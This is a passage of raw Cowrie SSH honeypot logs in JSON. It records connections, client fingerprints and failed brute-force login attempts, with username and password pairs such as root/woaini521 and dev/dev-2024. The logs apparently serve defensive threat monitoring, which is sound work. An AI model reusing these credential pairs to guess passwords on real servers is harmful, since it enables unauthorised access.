af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:53.099668Z","src_ip":"34.39.58.191","session":"a8b12ec058a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zj@123456","message":"login attempt [root/zj@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:53.428310Z","src_ip":"34.39.58.191","session":"a8b12ec058a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:54.506200Z","src_ip":"34.39.58.191","session":"a8b12ec058a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":53842,"dst_ip":"159.203.135.109","dst_port":22,"session":"df71100337f1","protocol":"ssh","message":"New connection: 43.160.206.186:53842 (159.203.135.109:22) [session: df71100337f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:56.716945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:56.721463Z","src_ip":"43.160.206.186","session":"df71100337f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:56.966656Z","src_ip":"43.160.206.186","session":"df71100337f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini521","message":"login attempt [root/woaini521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:57.979439Z","src_ip":"43.160.206.186","session":"df71100337f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54618,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ad4db4cda5b","protocol":"ssh","message":"New connection: 159.203.92.129:54618 (159.203.135.109:22) [session: 5ad4db4cda5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:58.203712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:58.208963Z","src_ip":"159.203.92.129","session":"5ad4db4cda5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:58.216615Z","src_ip":"159.203.92.129","session":"5ad4db4cda5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acc","password":"acc","message":"login attempt [acc/acc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:58.227713Z","src_ip":"159.203.92.129","session":"5ad4db4cda5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:59.228633Z","src_ip":"43.160.206.186","session":"df71100337f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:59.234518Z","src_ip":"159.203.92.129","session":"5ad4db4cda5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.123.67","src_port":62802,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e35b9bf1289","protocol":"ssh","message":"New connection: 14.103.123.67:62802 (10.17.0.5:22) [session: 0e35b9bf1289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:32.971045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:32.978297Z","src_ip":"14.103.123.67","session":"0e35b9bf1289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:33.853419Z","src_ip":"14.103.123.67","session":"0e35b9bf1289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev-2024","message":"login attempt [dev/dev-2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:34.785428Z","src_ip":"14.103.123.67","session":"0e35b9bf1289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47032,"dst_ip":"159.203.135.109","dst_port":22,"session":"122d8872f520","protocol":"ssh","message":"New connection: 159.203.92.129:47032 (159.203.135.109:22) [session: 122d8872f520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:39.089156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:39.168090Z","src_ip":"159.203.92.129","session":"122d8872f520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:39.172336Z","src_ip":"159.203.92.129","session":"122d8872f520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accelftp","password":"accelftp","message":"login attempt [accelftp/accelftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:39.403709Z","src_ip":"159.203.92.129","session":"122d8872f520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:40.411393Z","src_ip":"159.203.92.129","session":"122d8872f520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":51918,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f796a25aeea","protocol":"ssh","message":"New connection: 34.39.58.191:51918 (159.203.135.109:22) [session: 2f796a25aeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:41.809945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:41.814016Z","src_ip":"34.39.58.191","session":"2f796a25aeea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:41.888301Z","src_ip":"34.39.58.191","session":"2f796a25aeea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sy123456","message":"login attempt [root/Sy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:42.217085Z","src_ip":"34.39.58.191","session":"2f796a25aeea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:43.294926Z","src_ip":"34.39.58.191","session":"2f796a25aeea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41042,"dst_ip":"159.203.135.109","dst_port":22,"session":"24b690344c6b","protocol":"ssh","message":"New connection: 2.57.122.238:41042 (159.203.135.109:22) [session: 24b690344c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:53.724814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:53.729856Z","src_ip":"2.57.122.238","session":"24b690344c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:53.839537Z","src_ip":"2.57.122.238","session":"24b690344c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:54.156939Z","src_ip":"2.57.122.238","session":"24b690344c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:55.265643Z","src_ip":"2.57.122.238","session":"24b690344c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":40732,"dst_ip":"159.203.135.109","dst_port":22,"session":"d60a7803ed93","protocol":"ssh","message":"New connection: 43.160.206.186:40732 (159.203.135.109:22) [session: d60a7803ed93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:55.876925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:55.885289Z","src_ip":"43.160.206.186","session":"d60a7803ed93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:56.123253Z","src_ip":"43.160.206.186","session":"d60a7803ed93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345Qwert","message":"login attempt [root/12345Qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:57.105605Z","src_ip":"43.160.206.186","session":"d60a7803ed93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:27:58.346285Z","src_ip":"43.160.206.186","session":"d60a7803ed93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36826,"dst_ip":"159.203.135.109","dst_port":22,"session":"adfa53093017","protocol":"ssh","message":"New connection: 159.203.92.129:36826 (159.203.135.109:22) [session: adfa53093017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:21.730386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:21.759269Z","src_ip":"159.203.92.129","session":"adfa53093017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:21.786447Z","src_ip":"159.203.92.129","session":"adfa53093017","protocol":"ssh"}
